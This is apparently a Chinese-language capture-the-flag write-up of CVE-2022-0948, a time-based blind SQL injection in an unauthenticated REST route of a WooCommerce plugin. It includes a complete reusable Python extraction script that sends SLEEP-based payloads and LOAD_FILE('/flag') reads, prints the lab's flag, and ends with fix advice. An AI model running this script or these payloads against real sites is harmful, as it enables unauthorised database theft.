环境：春秋云境“免费空间”授权实验靶场。历史实例已关闭。
1. 基本信息
| 项目 | 内容 |
|---|---|
| CVE | CVE-2022-0948 |
| 产品 | Order Listener for WooCommerce 3.2.1 |
| 入口 | /olistener/new |
| 条件 | 未认证 REST 路由 |
| 漏洞类型 | SQL 时间盲注 |
| Flag | flag{442494e7-4341-47ad-8f46-bbfbc0cf5d84} |
2. 原理与复现
REST 路由未认证，参数进入 SQL 查询。向路由提交真假条件和 SLEEP，以响应时间作为 oracle，逐位提取 flag 表内容：
POST /olistener/new HTTP/1.1
Host: <WooCommerce-靶场域名>
Content-Type: application/x-www-form-urlencoded<参数>=<time-based-payload>
当字符匹配时触发延时，循环位置和候选字符恢复：
flag{442494e7-4341-47ad-8f46-bbfbc0cf5d84}
Python 爆破脚本（时间盲注）
仅对本题授权靶场使用。先按本文关键请求设置 URL、METHOD、LOCATION、FIELD、SOURCE、基础表单和 Cookie；SOURCE 使用本题已确认的 flag 表达式或 /flag 读取表达式。
import string
import time
import requestsURL = "https://<authorized-target>/<endpoint>"
METHOD = "POST" # GET 或 POST
LOCATION = "form" # form、query 或 cookie
FIELD = "user_name"
SOURCE = "LOAD_FILE('/flag')" # 或 (SELECT flag FROM ctf.flag LIMIT 1)
BASE_DATA = {"password": "<value>"}
BASE_COOKIES = {}
DELAY = 3.0
THRESHOLD = 2.0
MAX_LEN = 80
ALPHABET = string.ascii_letters + string.digits + "{}_@.-,:/"session = requests.Session()def send(payload):if LOCATION == "cookie":cookies = dict(BASE_COOKIES)cookies[FIELD] = payloadreturn session.request(METHOD, URL, cookies=cookies, timeout=DELAY + 5)if LOCATION == "query" or METHOD == "GET":return session.get(URL, params={FIELD: payload}, timeout=DELAY + 5)data = dict(BASE_DATA)data[FIELD] = payloadreturn session.post(URL, data=data, timeout=DELAY + 5)def extract_flag():result = ""for pos in range(1, MAX_LEN + 1):for ch in ALPHABET:code = ord(ch)payload = (f"' AND IF(ASCII(SUBSTRING({SOURCE},{pos},1))={code},"f"SLEEP({DELAY}),0)-- -")started = time.monotonic()send(payload)if time.monotonic() - started >= THRESHOLD:result += chprint(f"{pos:02d}: {result}", flush=True)breakelse:breakif result.endswith("}"):breakreturn resultif __name__ == "__main__":print("recovered:", extract_flag())
脚本逐位置遍历候选字符，条件为真时触发 SLEEP，并以超过 THRESHOLD 的耗时作为 oracle。运行前先用已知真假条件校准 DELAY/THRESHOLD，并把候选字符集限制在题目实际 Flag 格式内。
3. 修复建议与验证
对 REST 路由增加认证、权限和 nonce；使用参数化查询，限制数据库账号权限，避免可观测时间 oracle。Flag 与平台记录一致，已提交并关闭。原始参数/阈值未保存，截图已保存到 images 目录并由平台详情页复核。
截图证据
